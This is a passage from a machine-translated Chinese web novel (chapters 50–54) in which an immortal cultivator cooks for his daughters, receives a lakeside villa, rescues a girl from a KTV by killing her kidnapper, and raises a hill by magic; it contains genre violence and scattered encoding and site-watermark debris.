    Compared with sister Xue Xiang''s love of beauty, sister Xue Nian has not formed the concept of beauty and ugliness except for eating!


    At this time, Xue An walked out of the kitchen wearing an apron and said with a smile: "Xuan''er, I bought a few big crabs on my way back today, and I will try my craft later!"


    Tang Xuan''er''s mood also improved, and she couldn''t help smiling: "I remember when you were at school you said that you hate cooking and cooking the most!"


    Xue An chuckled, "That''s because there is no one worth my cooking!"


    This can easily cause ambiguity, at least Tang Xuan''er blushed.


    But Xue An didn''t pay attention. He actually meant these two little girls.


    After three thousand years of cultivation, Xue An met a master who relied on the culinary skills to enter the Taoism by chance and asked him a lot of culinary skills.


    The current Xue An dare not say that he is a master of the immortal world, but it is no problem to kill the ordinary.


    So when the crabs were ready and served, Tang Xuan''er couldn''t help but move her index finger.


    As for Xue Nian, all the saliva came out at this time.


    "Hurry up! See how it tastes!"


    Tang Xuan''er prepared the crabs for the two children first, and then tasted it.


    Then Tang Xuan''er was stunned.


    This smell....


    is simply indescribable!


    As if countless kinds of delicacy exploded on the taste buds, Tang Xuan''er was a little dizzy in an instant.


    Tang Xuan''er never thought that there could be such food that directly hits the soul in the world.


    "Is it delicious?" Xue An asked.


    Tang Xuan''er nodded, "Actually, if you have nothing to do, you can eat as a cook!"


    Xue An looked at the girl who had been a classmate since high school and smiled.


    To Tang Xuan''er, he has infinite gratitude in his heart.


    After An Yan was forced to leave Beijiang, the two girls were basically raised by Tang Xuaner!


    Xue An has always remembered this kindness.


    This is also the reason why he is willing to cook for Tang Xuaner himself.


    Otherwise...


    I remember at the beginning, there was a great figure who was the Nine Heavens Immortal King ~ www.novelhall.com~ and tried all kinds of methods, only to let Xue An cook him a meal.


    Xue An is too lazy to bother.


    A few crabs were quickly eaten.


    Tang Xuaner licked her fingers intently.


    is really delicious, so I don��t care about the reservedness of girls for a while.


    Xue An took out a pill and handed it to Tang Xuan''er.


    "What is this?" Tang Xuan''er was a little confused.


    "This is made of Baba, it tastes so delicious! Aunt Xuan''er, try it soon!" Xue Xiang said.


    Tang Xuan''er took it, and ate it without caring.


    In an instant, as if swallowed a bomb, the pill spread after being taken in, and its power began to remove toxins from the cell level.


    Tang Xuaner screamed and rushed into the toilet.


    Xue An smiled slightly.


    This pill is added to the root of Xuanyin lotus. The root of this rare medicinal material is the strongest place.


    It''s just that ordinary people can''t use it, so they switch to the gentle Xuanyin lotus seeds.


    But Xue An can be said to be an ancestor in alchemy, so it is very simple to refine the medicinal power of Xuanyin lotus root.


    This has also increased the medicinal power of this Pei Yuan Pill more than ten times.


    If you eat it directly, Tang Xuan''er probably can''t stand it either.


    But this crab is not an ordinary crab. Xue An added a lot of refined medicinal materials when cooking.


    Ordinary people will be able to cure all diseases with just one bite!


    There is no way, Xue An has already petted the child to the point where he does not hesitate to spend money and money.


    As long as the two little girls can be happy, the moon in the sky can also be picked off.


    With this primer, Xue An dared to let Tang Xuan''er eat this advanced version of Pei Yuan Dan!

 Chapter 50： Tianzi No. 1 Villa!

    After a long time, Tang Xuan''er walked out of the bathroom somewhat shyly.


    There are still water marks on her hair, and she apparently took a shower in it.


    Tang Xuan''er was originally beautiful enough, but after the baptism of this enhanced version of Pei Yuan Dan, her beauty can only be described in the words thrilling.


    Xue Xiang and Xue Nian happily, Tang Xuan''er asked a little embarrassed: "What are you two little girls laughing at?"


    "Aunt Xuan''er, the smell on you now smells as good as Baba!" Xue Nian said with a smile.


    In fact, what she meant was that Tang Xuan''er now has a baby-like fragrance on her body, which is a manifestation of her body being thoroughly cleaned to a certain extent.


    Xue An also has this faint fragrance, which is why the two little girls like to snuggle next to their father the most.


    But Tang Xuan''er blushed, and she lowered her head and dared not speak.


    Xue An just smiled at this, and then said: "Sit down and eat, it won''t taste good after a while!"


    "Hmm!" Tang Xuan''er replied in a low voice, and then sat down.


    That cunning and submissive look...like a little daughter-in-law who just passed the door!


    The atmosphere became a little more subtle.


    Tang Xuan''er''s lower face also became more ruddy.


    At this moment, a crisp doorbell broke the silence.


    Tang Xuan''er was relieved and quickly got up to open the door.


    Qin Yu walked in, carrying big bags of various toys and snacks, and smiled when he saw Xue Xiang and Xue Nian.


    "Two little princesses, what do you think I brought here?"


    The child is a child after all, and he jumps up happily when he sees so many novel toys.


    "Thank you Aunt Qin Yu!"


    After the two little girls took the toys, they ran aside to play.


    At this time, Qin Yu saw the food still placed on the table in the living room, and couldn''t help but smile: "What a coincidence? What is it doing? Why is it so delicious?"


    Xue An smiled slightly, "I made some crabs and tasted them."


    Qin Yu wanted to decline, but as soon as she walked in, she smelled a strange fragrance.


    Qin Yu is also a person who has seen big scenes, but has never smelled such a peculiar fragrance, which makes people can''t stop moving their index fingers.


    "Then I will have a bite!" Qin Yu picked up a crab leg, and after a bite, his eyes lit up.


    "How is it?" Xue An asked lightly.


    Qin Yu was too late to speak, almost devouring the crab leg, eating the whole crab leg, and then let out a sigh of relief, and said with some embarrassment: "It''s... so delicious!"


    Tang Xuan''er was also amused by Qin Yu''s gluttony, put the remaining crabs in a bowl, and whispered: "Miss Qin, there are more here, you can eat them!"


    Qin Yu blushed, as if he had come to eat rice, but the taste of the crab just now was simply too fragrant.


    There are several large restaurants under the Longtai Group. The chefs there are all well-known chefs in the country and the world. But compared with this plate of crabs, those chefs are just rubbish.


    At this moment, Xue An is becoming more and more mysterious in Qin Yu''s mind.


    This man is not only unpredictable, he also has such amazing cooking skills.


    Qin Yu doubts whether there is anyone in this world that Xue An cannot.


    However, Qin Yu did not forget the purpose of coming here, and said while eating: "Mr. Xue, my grandpa sees that your residence is a bit too cramped, so he specially prepared a villa for you, which can be considered as a gift to us. Thanks for so much help!"


    "Villa?"


    "Yes, it''s right by Yunmeng Lake! If you have time in a while, I will show you over!"


    "Yunmeng Lake...is Yunmeng Courtyard?" Tang Xuan''er asked in surprise.


    "Yes! That''s it! Have you heard of Yunmeng Courtyard?" Qin Yu smiled.


    Tang Xuan''er smiled bitterly, "Now in Beijiang, who else doesn''t know Yunmeng Courtyard?"


    "What''s wrong?" Xue An said.


    "It''s okay, it''s just that this Yunmeng Hospital is very popular in Beijiang now, and it is known as the highest-end residential area in Beijiang!" Tang Xuan''er also heard other colleagues in the hospital mention it occasionally.


    It''s just that this Yunmeng Hospital can''t be bought simply by money.


    Those who can live there are either rich or noble.


    But I didn''t expect that this Yunmeng House belonged to Qin Yu''s family, and in order to please Xue An, the Qin family would directly send a set.


    Tang Xuan''er was also shocked by such a big deal.


    Xue An doesn''t matter, but Qin Yu''s words reminded him.


    Now that I came back by myself, it would be inconvenient for Tang Xuan''er to live here, but Tang Xuan''er had no other place to live, so she could only live in the hospital dormitory, which ultimately caused various inconveniences.


    As my two daughters are getting older, it is a bit awkward to live here.


    So Xue An nodded, "Okay! Then go and see!"


    If not so many people watched, Qin Yu would really want to lick the bottom of the last plate.


    It''s so delicious because it''s so fragrant!


    But anyhow she is also a wealthy daughter, the last trace of dignity prevented her from doing that.


    After going downstairs, Qin Yu drove the car with Xue An, Tang Xuan''er and two young girls to Yunmeng Courtyard on the outskirts of the city.


    It��s not too far away from Beijiang city. It takes about ten minutes to drive there. There are strict security measures in front of the door. UU reading


    When Qin Yu''s car drove here, the guards all saluted.


    The car slowly drove into the villa area. Although it is winter, there are still many carefully cultivated flowers blooming in this villa area.


    The environment is elegant, built by the lake, and the surrounding environment alone is enough to be called the highest residential area in Beijiang.


    However, the Tianzi No. 1 villa was specially developed by Qinyuan, so it is naturally different from these ordinary villas.


    On the edge of Yunmeng Lake, there is a hill.


    The hill is not high, but compared with the surrounding Yimapingchuan, it still looks very towering.


    built a winding road against the hill, and Tianzi No. 1 Villa is located on the top of the hill.


    The car drove directly to the top of the mountain. After getting out of the car, Tang Xuan''er looked a little silly.


    Standing here, you can directly see Yunmeng Lake not far away.


    The waves of smoke are in sight.


    And this villa is made by the master, and it blends perfectly with the surrounding environment.


    "Baba, this house is so big and beautiful!" Xue Xiang and Xue Nian sighed together.


    Qin Yu looked at Xue An proudly, wanting to see some surprise from the face of Mr. Xue.


    Unfortunately, she was disappointed.


    Xue An''s expression is calm as usual, it seems that this natural and ingenious villa is just a straw shed.


    In fact, Xue An thinks so.


    In his opinion, the layout here is barely reasonable, the surrounding Feng Shui is also good, and the aura of Yunmeng Lake in the distance can just nourish the plants and trees here.


    can be... too crude!


    As an immortal who has seen such big scenes as the formation of stars and the galaxy as his home, the layout here is not even qualified.


    means I can live!

 Chapter 51： Jingjing, your mother calls you to go home for dinner!

    Needless to say, all the facilities in the villa are in accordance with the highest standards.


    As soon as the two little girls came in, their attention was drawn to the small amusement park located in the corner of the villa.


    Qin Yu was a little proud. This amusement park didn''t exist, but after preparing to give it to Xue An, Qin Yu immediately sent someone to re-arrange it, and it worked.


    Tang Xuan''er looked a little sternly, afraid to touch many things.


    "Mr. Xue, this is the villa we gave you. This is the proof of ownership. It has been transferred to your name. Also, this is the key!"


    Xue An did not answer, but said to Tang Xuan''er on the side: "Do you like it?"


    "Ok?"


    "If you like it, this will be yours from now on!"


    As soon as she said this, Tang Xuan''er''s face flushed, and Qin Yu was shocked.


    Is this for Kanaya Cangjiao?


    But Xue An went on to say: "It''s not a problem that you always live in a dormitory, you will live here in the future! As for me and Miss Miss, I will come over, but the old house cannot be abandoned."


    The old house has a special meaning to Xue An, it is the place where I lived with An Yan.


    Tang Xuan''er nodded.


    Just then, Xue An''s cell phone rang.


    After Xue An connected, Lao Xie cried and said on the other side of the phone: "Is it Xiao An?"


    Xue An was startled slightly, and then said: "Uncle Xie, it''s me, what''s the matter?"


    "Jingjing... Jingjing was taken away after school, and now she can''t get through the phone, and no one can find it. Your fat aunt has been crying for a long time. I really can''t help but find you!" At the end, Lao Xie was already crying.


    Xue An raised his eyebrows, "Uncle Xie, don''t worry, I will go to Jingjing now!"


    "Jingjing, this kid, dyed his hair back after seeing you back, and never went outside to mess around again. Your fat aunt and I were very happy, but this happened!"


    Xue An said solemnly: "Uncle Xie, tell Fat Auntie, I will let Jingjing go home unscathed tonight!"


    After hanging up, Qin Yu asked, "What''s wrong? Do you need my help?"


    Xue An shook his head, and then said to Tang Xuan''er, "You stay here with Missing Nian, I''ll go out!"


    "Ok!"


    Xue An walked out of the room, closed his eyes, his consciousness spread and began to search.


    With such a large population in Beijiang, it is not easy to find Xie Jingjing.


    But this is not difficult for Xue An.


    Because Xie Jingjing is a rare body of pure yin, it is like a bright light in the dark night to the divine consciousness.


    soon.


    Xue An found the target.


    A sneer appeared at the corner of his mouth, and then he disappeared into the evening night.


    Blue Fire KTV is a mid-range KTV in Beijiang City. Because it is located in the downtown area and the price is not too expensive, the business is very hot.


    Xue An stood in front of the door, looked at this luxuriously decorated KTV, and then stepped in.


    "Hello sir, how many are you? Is there an appointment?" A waiter stepped forward to greet him.


    Xue An shook his head, "I''m here to find someone!"


    "Then sir, who is your friend? I can lead you there!"


    Xue An glanced at the waiter faintly.


    The waiter froze in place.


    He didn''t recover until Xue An left, and at the same time broke out in a cold sweat.


    The look in the eyes of this man is terrible!


    The waiter gave a shock all over his body and ran away quickly.


    Xue An followed the direction of Xie Jingjing in his divine consciousness and went directly to the third floor.


    This is the VIP area of ??Blue Fire KTV, and Xue An came to the box door at the end of the corridor.


    The soundproofing here is excellent, and you can��t hear any noise inside.


    But in Xue An''s spiritual sense, Xie Jingjing is inside.


    He pushed the door and the box door was locked.


    At this time, a security guard came over and asked, "What are you doing? It''s Wu Shao''s charter here. There is nothing to leave here!"


    Xue An looked indifferent, ignored the security guard, but took a half step back.


    "What do you want? I tell you, this box door is made of steel and wood. It broke yourself. Don''t blame us for not reminding you!" The security guard was obviously used to seeing drunks kicking the door, so he reminded him sarcastically.


    He thought Xue An had drunk too much and was about to kick the door with his feet, wondering if it was not asking for hardship?


    But as soon as the voice fell off, Xue An suddenly punched out.


    Peng.


    There was a loud, deafening noise.


    The security guard was so shocked that his ears buzzed, and then he saw the most shocking scene in his life.


    The box door made of pure steel, under the man''s punch, let out a mournful cry, and then fell to the ground!


    Under the smoke and dust, there was a scream in the box.


    "what happened?"


    "Damn, who the **** is this?"


    Amid these angry rebuke, Xue An walked into the box slowly, and at a glance he saw Xie Jingjing sitting in the middle with tears in his eyes, and couldn''t help but smile.


    "Jingjing, your mother is calling you home for dinner!"


    The words made Xie Jingjing''s eyes burst into tears.


    From school to now, Xie Jingjing has spent more than three hours in seconds.


    Since Xue An came back, she has decided that she should be good and stop messing around.


    So she dyed her hair back, threw away the exotic clothes, and put on the school uniform again.


    But these changes of her angered someone.


    This person is a classmate of Xie Jingjing, and also a figure in the school ~ www.novelhall.com ~ called Wu Zefeng.


    He has some money in his family, so he is a rich second generation.


    Therefore, relying on the power of his family, he was not doing business at school all day, just picking up girls and fighting.


    Later he discovered Xie Jingjing, this beautiful girl made Wu Zefeng coveted.


    Although Xie Jingjing was very rebellious at the beginning, she was still very conservative in the purity of girls.


    He tried so hard to get it.


    And this time, Xie Jingjing suddenly changed her temper. No matter what he called, Xie Jingjing refused to come out.


    So embarrassed into anger, he brought Xie Jingjing here with half coercion.


    Xie Jingjing wanted to run, but the security guard in this place was very responsible. Wu Zefeng also watched very closely, she couldn''t get away at all.


    And these so-called friends who accompany drinking, all want to get drunk Xie Jingjing.


    Xie Jingjing understands that if you are drunk, then everything is over.


    So she tried all her excuses and tried her best to delay.


    But over time, Xie Jingjing gradually became desperate.


    Could it be...Is you really going to be ruined here tonight?


    Brother Ann, where are you?


    In the most desperate time, Xie Jingjing thought of Xue An.


    But her heart is very contradictory, she hopes Xue An will come, but she doesn''t want him to come.


    Because Xie Jingjing knew that Wu Zefeng was quite powerful around here, and I heard that he knew the boss of Lanhuo.


    Brother Ang is just an ordinary person, how do you fight these people?


    Until there was a loud noise, the door fell, and after Xue An stepped in, Xie Jingjing cried out with surprise and joy.


    Which girl has never imagined that one day, there will be a hero of the world driving on colorful clouds to save herself?


    And at this moment, Xue An is her hero!

 Chapter 52： But... I dont agree!

    "Fuck, who the **** are you?" Wu Zefeng, who was sitting on the main seat, said fiercely.


    Wu Zefeng''s heart is naturally full of anger when she sees that she is about to be done.


    Before Xue An could speak, Xie Jingjing stood up suddenly and said with red eyes: "Brother An, you...you go!"


    Xie Jingjing is well aware of Wu Zefeng''s power. Not only is his family quite powerful, but he also heard that he knows several big gangsters in the city.


    And Xue An is just an "ordinary person", how can he beat Wu Zefeng?


    Xie Jingjing did not want to put Xue An in a dangerous situation because of herself.


    In fact, Xie Jingjing''s heart is full of sorrow and...moved at this moment.


    He can come and save himself.


    This is enough.


    Xie Jingjing does not ask for anything else!


    But her thoughts are still too simple.


    Wu Zefeng sneered a few times.


    "Want to go?"


    At this time, the boys who were drinking with Wu Zefeng stood up one after another, carrying the wine bottles on the table in their hands.


    Not only that, but the security guards of Blue Fire rushed over after hearing the noise.


    "Wu Shao, what''s the matter?" the security captain asked.


    Wu Zefeng said coldly: "This kid, kicked the door of our box and disturbed my interest."


    "Damn, where''s the kid, so not opening his eyes, he actually disturbed Wu Shao!" The security captain gave an order.


    These security guards blocked the door, and then surrounded Xue An in groups.


    At this moment, Wu Zefeng was sitting on the sofa, and a mocking smile appeared on the face of the evil bird.


    He likes this condescending feeling very much.


    Especially when he saw the horrified expressions on the faces of the weak, he was even more happy.


    But this time, he miscalculated.


    Because he didn''t see the slightest panic on the man''s face.


    There is only a mocking smile on the corner of his mouth.


    It seems like...


    These talents are like weak people.


    Wu Zefeng''s eyes gradually cold, "Take it to me..."


    Before he could speak his words, Xie Jingjing had already rushed out, and then stood in front of Xue An.


    "Wu Zefeng, don''t you just want me? I''ll give it to you, but you want Brother Ang to leave here safely!" Xie Jingjing said with a trembling voice.


    Wu Zefeng''s eyes lit up, then looked at Xie Jingjing playfully.


    "Hehe, for such a man, you have to go all out?"


    Xie Jingjing gritted his teeth and said: "You don''t care about these, you have to make sure that he can leave here safely, otherwise I will die and I won''t let you touch a finger!"


    At the end, Xie Jingjing''s heart was full of sadness.


    Brother Ann, maybe... we can only see you in the next life!


    Xie Jingjing has made up her mind. After Xue An is sent out, she will find a chance to commit suicide!


    Wu Zefeng nodded at this time, "Yes, I promise you!"


    "But...I don''t agree!" A faint voice came.


    The room is quiet.


    Then everyone looked at the speaker, it was Xue An.


    Xie Jingjing''s anxious tears almost came out, "Brother Ang...I..."


    Xue An lightly patted the silly **** the shoulder and smiled slightly, "Don''t talk, next... it''s up to me!"


    Xie Jingjing still wanted to say something, but when she saw Xue An''s eyes as deep as the sea, she couldn''t say anything.


    At this moment, Wu Zefeng''s expression became more and more gloomy, and he sneered: "Boy, you are crazy, do you know who I am?"


    Xue An shook his head, "I don''t know, and I don''t want to know."


    Then Xue settled down and looked around everyone in the field of view, "You guys go up together, I''m in a hurry!"


    When ���� said these words, many people couldn''t help laughing directly.


    Wu Zefeng looked at Xue An even more like a fool.


    "Wocao, there are really people who are not afraid of death? Give me abandon him!"


    Bao Bao and Wu Zefeng''s younger brothers rushed forward, Xie Jingjing closed her eyes in fright, the last thought in her heart was actually.


    Being able to be with Brother Ang is worth it even if I die.


    But the imaginary pain did not appear, instead there was a burst of crackling like firecrackers.


    Xie Jingjing opened his eyes hesitantly, and then saw the scene that made her engrave a lifetime.


    These men who rushed up aggressively did not even touch Xue An''s clothes corner.


    And Xue An, just made a simple punch.


    But it was this understatement of punch, but it caused a gust of wind in the entire box.


    rushed to the front one, was blown away by Xue An, and knocked the people behind him all the way out, waiting to stick to the wall before vomiting blood one by one and fell to the ground.


    Not only that, this thick concrete wall was affected by the power of this punch, and after shaking it a few times, it collapsed.


    Smoke and dust are everywhere, Xue An stands with his hands holding hands, looking around the audience indifferently.


    No one dared to speak.


    In a dead silence, Wu Zefeng watched this scene dumbfounded, his head still a little overwhelmed for a while.


    One punch....


    hit this kind of momentum with just one punch?


    This person...who is he?


    "Now... it''s your turn!" Xue An said lightly.


    Wu Zefeng trembled all over, and said in horror: "You... don''t come over, I''m from the Wu family, you can''t kill me!"


    Xue An shook his head, "I said, I am not interested in knowing who you are!"


    At this moment, there was a mess of footsteps outside the door, and then a group of people walked in.


    The leader was a burly man with a hideous face When he saw this man, Wu Zefeng seemed to have seen the savior and ran over, "Brother Xiong, save me! This man is going to kill. I also injured a lot of our KTV people!"


    Big Bear Brother!


    The eldest brother of Blue Fire KTV.


    The appearance of this person made Xie Jingjing''s heart sink.


    This is the famous big brother in Beijiang City!


    At this moment, Wu Zefeng''s face was full of relaxed expression, and then he looked at Xue An proudly.


    In his opinion, when Brother Xiong comes, this guy must be finished.


    But this big bear brother didn''t even look at Wu Zefeng at all, as if he was a mass of air, he walked past him.


    Wu Zefeng was taken aback, and then he saw this big bear brother approaching Xue An, suddenly bending over, and said respectfully: "Mr. Xue!"


    boom.


    The people in the room were shocked.


    Wu Zefeng even stared out.


    Xue An glanced at the big bear and said faintly: "Do you recognize me?"


    Big Bear smiled bitterly, "At Longhuangtai that day, as Brother Fan''s subordinate, I had met Mr. Xue!"


    Xue An nodded, "It turns out to be Du Fan''s men!"


    Du Fan.


    Another name that makes people scared.


    can be said from Xue An''s mouth, but he understates it, as if he is an unimportant person.


    The big bear trembled all over, and he didn''t even dare to lift his head.


    Because he was in Longhuangtai that day, he saw Lu Kun''s tragic situation with his own eyes.


    Knowing that this Mr. Xue is a person who is shocked by ghosts and ghosts, his so-called big brother, compared with others, can''t even count as a fart.


    At this moment, Da Xiong''s heart is full of anger.


    This Wu Zefeng, even if he finds his own death, it still hurts me.

 Chapter 53： In the next life, stop being so arrogant

    "Then what is your purpose now? Stop me?"


    Xue An��s voice was indifferent, but it sounded like thunder in Big Bear��s ears, which made him shook his head quickly.


    "No, no, I don''t dare to be scared to death. I just heard that you are here, so I hurried over and waited for your orders!"


    These almost flattering words made Xie Jingjing''s eyes gradually widen, and the look in Xue An''s eyes gradually became more complicated.


    Own brother An... When did he become so powerful?


    Even such a big brother must be very respectful and careful.


    As for Wu Zefeng, his face was pale and his whole body was shaking.


    Because he finally understood that he had provoke someone who should never be provoke.


    I thought that people were weak just now, but now I think about it, it''s really ironic.


    When Xue An looked at him, Wu Zefeng thumped and knelt on the ground, knocking his head like garlic.


    "Mr. Xue is forgiving, Mr. Xue is forgiving, I have no eyes, I am obsessed with obsessiveness, I shouldn''t do anything to your friends, your lord has a lot, please spare me this time!"


    Xie Jingjing looked at Wu Zefeng, who was kneeling on the ground in trepidation, with complicated eyes. Once upon a time, this man was crying for the wind and rain in the school, but at this moment, like a bereavement dog, kneeling on the ground begging for mercy.


    Daxiong took a peek at Xue An, and saw his expression indifferently, his heart felt a little tight.


    He was afraid that Xue An would suddenly violent, and then count himself in.


    But Xue An was obviously too lazy to talk to him, but walked slowly to Wu Zefeng and looked at him condescendingly.


    Wu Zefeng was trembling all over, his crotch was hot, and the smell of urine came out.


    was actually scared to pee.


    "Actually...I don''t want to kill you!"


    Wu Zefeng secretly breathed a sigh of relief, thinking with resentment in his heart, when I escape this time, I will find a chance to kill you and Xie Jingjing!


    Of course, his face still has an expression of horror.


    But in the next second, all of his plans fell through.


    "But if an apology is useful, there is no **** person in this world!"


    Xue An said, slammed Wu Zefeng''s head with one foot, and said lightly: "Remember in the next life, stop being so arrogant!"


    After that, Xue An used his feet hard.


    ��.


    Wu Zefeng''s head was crushed by a foot.


    Brain plasma burst, blood flowed across.


    A nauseating breath of blood permeated.


    Everyone stared silently.


    Da Xiong has seen people living and dead, but seeing this scene, he still feels that his whole body is erected, and his scalp becomes even more tight.


    Xue An''s danger level is several times higher in Da Xiong''s heart.


    Daxiong made up his mind that if there is this murderer in the future, he will be as far away as possible, and it is best not to see him again for the rest of his life.


    The matter is over.


    Xue An looked calm, pulled Xie Jingjing with a dull face, and said to Da Xiong: "I''m leaving! I''ll leave the rest to you!"


    Big Bear nodded hurriedly, "Mr. Xue, don''t worry, leave everything to me!"


    Xue An is gone.


    Only then did the big bear let out a sigh of relief, and then realized that he was soaked in cold sweat.


    "Brother Xiong, what should I do with this dead body?" someone asked quietly.


    Daxiong gave him a vicious look, "What should I do? Naturally, find a bag to put it in and send it back to Wu''s house!"


    "But if the Wu family asks..."


    Daxiong sneered: "Then tell the Wu family that the person who killed Wu Zefeng was done by a big man who even Brother Fan can''t provoke. If they want revenge, they should take revenge! Just don''t make me tired!"


    "Yes!"


    The big bear sipped at Wu Zefeng''s corpse on the ground at this time, "Pretending to be forced to not see the subject clearly, he deserves it if he is dead!"


    Blue Fire KTV came out, and the icy wind made Xie Jingjing sober.


    She looked at Xue An with a little horror, her heart was mixed, she didn''t know what it was like.


    She hates Wu Zefeng!


    I didn''t expect Xue An to really dare to kill in public!


    That is a life after all!


    "Are you scared?" Xue An asked suddenly.


    Xie Jingjing was silent.


    Xue An smiled, "There were a dozen cameras hidden in the box just now. If I don''t come tonight, you can imagine the consequences."


    Xie Jingjing''s heart tightened, thinking of the videos that had been secretly recorded on the Internet.


    If that were the case, I would be ruined in my life.


    Xue An looked up at the sky, "Let''s go, I will take you home!"


    Xie Jingjing was silent on the way. When she reached the door of the house, Xie Jingjing suddenly hugged Xue An from behind.


    "Brother Ang...I''m sorry!"


    Xue An''s expression was hidden in the cold night, and after a while, he smiled slightly.


    "Okay, it''s all over! Go back to sleep, and be your student tomorrow!"


    Xie Jingjing''s nervous heart was about to jump out at this moment, the indifferent fragrance of Xue An''s body made her heart gradually hot.


    "Brother Ang...actually I have grown up!" Xie Jingjing whispered.


    Xue An was silent for a moment, then rubbed Xie Jingjing''s hair with his hands, and chuckled lightly: "No matter how old you grow, in my eyes, you are still that little kid!"


    Old Xie and Fat Aunt have been sitting in the room looking forward to it. UU reading


    When Xue An returned with Xie Jingjing, Lao Xie was the first to jump up, hugged his daughter, and his tears fell.


    This man, no matter what his usual disguise, from the bottom of his heart, he loves Xie Jingjing the most.


    Xie Jingjing felt a little lonely.


    Xue An''s words, she knows what it means.


    But Xie Jingjing remembers everything about today.


    That shocking sound, and Xue An''s sentence, take you home!


    Xie Jingjing will never forget.


    I don��t care anyway, is it guilty to like someone?


    Xie Jingjing''s stubborn temper came up again.


    Auntie Fatty took Xue An''s hand at this time, and said with tears, "Xiao An, how can you let me and Uncle Xie thank you!"


    Xue An smiled, "Auntie Fatty, Uncle Xie, Jingjing is like my sister. I should do all these things! What are you talking about?"


    "Yes, yes!" The fat aunt wiped her tears, "By the way, you haven''t eaten yet! Old Xie, you don''t want to be crying lasses, go and cook!"


    Old Xie wiped his tears, "Good!"


    Xue An originally wanted to decline, but seeing the happy appearances of Old Xie and Fat Aunt, it was hard to say anything.


    The food was prepared quickly and it was very hearty.


    Lao Xie even took out the last bottle of old wine and filled Xue An with it himself.


    Xue An knew that this was the simplest way to appreciate the two old people, so he drank it with a smile.


    Xie Jingjing watched.


    Xue An at this moment is gentle and gentle.


    And just now, he is like a **** killer.


    Which one is the real him?

 Chapter 54： Uphill!

    Lao Xie was drunk.


    drunk in a mess.


    Xue An is more sober as he drinks, in fact, as long as he is willing, he will not be drunk in the next winery.


    When Xue An left, Xie Jingjing sent it out.


    "Let''s go back!"


    Xie Jingjing, who had bowed her head, suddenly raised her head, "Thank you!"


    Xue An was startled slightly, and then smiled, "Thank you? Go back to bed now! I have to go to school tomorrow!"


    Xie Jingjing took a deep breath and said very seriously: "I won''t give up!"


    After saying these thoughtless words, Xie Jingjing turned and ran back.


    Xue An stood in place, the expression on his face seemed a little subtle in the night.


    Feelings are something that even Xian Zun can''t control.


    But his state of mind has been tempered like a rock, so he just sighed slightly, and then disappeared into the night.


    But this night is not so peaceful for some people.


    After Wu Zefeng''s body was returned to Wu''s house, his father Wu Weidong instantly became a few years old, and then flew into a rage.


    "Who is it! Who did it? I want to kill him! Revenge for my son!"


    The person who sent the body back was Daxiong''s capable man, and he couldn''t help but sneer after hearing Wu Weidong''s words.


    "Master Wu, our brother Xiong asked me to bring you a word!"


    "What are you talking about?"


    "Your son''s death is not wrong, because he provokes people who shouldn''t be offended!"


    "What do you mean? Did my son die in vain?" Wu Weidong was full of anger.


    "It doesn''t matter whether you die in vain or not, but Brother Xiong said, even Brother Fan can''t offend anyone who does it! Think about it yourself!"


    This person left after speaking.


    Wu Weidong''s rage was like being splashed by cold water, and it instantly cooled down.


    A big guy that Brother Fan can''t afford!


    Who will ���� be?


    Could it be the Qin family?


    Wu Weidong knew what his son had done and believed that his death was not wronged, but after all, it was his own flesh and blood, so he naturally wanted to take revenge.


    But if the other party is someone who even Du Fan can''t offend, then you have to think about it!


    At this time, Wu Zefeng''s mother also rushed to hear the news. When she saw the body of her precious son, she couldn''t help crying, and then jumped three feet high, shouting with a bitter expression on her face.


    "Who did it? I''m going to smash him a thousand times!"


    Wu Weidong''s face was green, and he slapped it in the face.


    "You...do you dare to hit me?" The woman with a cross-face looked at Wu Weidong in disbelief.


    Wu Weidong sneered and said: "It was you who hit Zefeng, who became what he is now. Most of it is your credit! Revenge, are you going?"


    This woman fainted instantly.


    She can usually bully and bully ordinary people, but now Wu Weidong''s performance is obviously saying that the other party may be an existence that he can''t afford.


    She can only bow her head and say nothing.


    Wu Weidong was stunned for a moment, and then said dejectedly, "Pretend to be killed first, and take revenge. I''ll talk about it later!"


    After all, the son can be reborn if he is dead.


    But if the family is destroyed by this incident, it is all over.


    Xue An returned to the villa, it was already late at night.


    The light in the living room is still on, and Tang Xuan''er is not asleep yet, sitting on the sofa waiting for Xue An.


    Seeing Xue An came back, she stood up and said, "Have you eaten yet?"


    Xue An nodded, "Are all asleep?"


    "Just fell asleep!"


    "Well, then go to sleep too!"


    Tang Xuan''er did not leave.


    "Is there anything else?" Xue An asked.


    "Well... tomorrow our hospital will organize a play, I promised to think and Niannian will take them there, you...are you going?"


    Xue An couldn''t think about it, but when he saw Tang Xuan''er''s look of expectation, he couldn''t help laughing.


    "Okay, anyway, it''s okay now, just take two little girls to relax!"


    Tang Xuan''er was very happy, "Hmm!"


    Tang Xuaner went back to bed and went to bed.


    Xue An is sitting on the sofa in the living room, through the floor-to-ceiling windows, you can see Yunmeng Lake in the distance.


    Although the night is as dark as ink, to Xue An, it is still clear.


    Although it is already in spring and the weather is still very cold, Yunmeng Lake has no signs of freezing.


    Xue An knows that this is all due to the unique Feng Shui here.


    This Yunmeng Lake is like a large natural formation, and the hill where Tianzi No. 1 Villa is located is the formation.


    Although the Feng Shui here is excellent, in Xue An''s eyes, it is still flawed.


    For example, the layout of this hill is too small to hold down the momentum of this Yunmeng Lake.


    The person who arranged this villa may have seen this and made up for it as much as possible, but it was just a trail.


    After all, it is impossible to let a mountain rise out of thin air.


    But other people can''t, it doesn''t mean Xue An can''t.


    Xue An walked out of the villa and stood on the top of the mountain.


    The wind blew his sleeves and his sleeves were hunting, and there were overcast clouds in the sky, as if the spring rain was approaching.


    Xue An stood silently for a moment, then jerked.


    This indulgence flew into the air, and then Xue An stood on the cloud, pressed down with his right hand, and shouted in a deep voice: "Heaven and earth listen to orders! Get up!"


    There was a muffled rumbling sound from the ground, and the hill began to rise slowly as if it had been forcibly raised.


    Xue An''s complexion is also a bit solemn.


    Now his strength can only barely do this. If UU read www.uuk��nshu.com before, just a single finger would make the plains give birth to mountains and turn the sea into sacred fields.


    rumbling.


    Chunlei ran across the sky.


    Amidst the wind and rain, this hill was lifted by Xue An abruptly by more than 100 meters.


    The hills that weren''t tall, finally took on the appearance of some mountains.


    Xue An fell back to the top of the mountain, feeling a little tired.


    But this is not enough. Xue An pointed to Yunmeng Lake in the distance and drank lightly.


    "Ten thousand waters return to the clan!"


    With an order, a huge wave suddenly appeared on the originally calm lake.


    Then the huge wave bowed to Xue An, and the water that could not be suppressed suddenly became docile.


    This kind of water vapor is the aura that Yunmeng Lake has accumulated over the years. At this moment, the whole mountain is nourished by the water vapor.


    In an instant, the withered flowers and plants on the whole mountain became green again.


    The core villa is even more enveloped by strong water vapor.


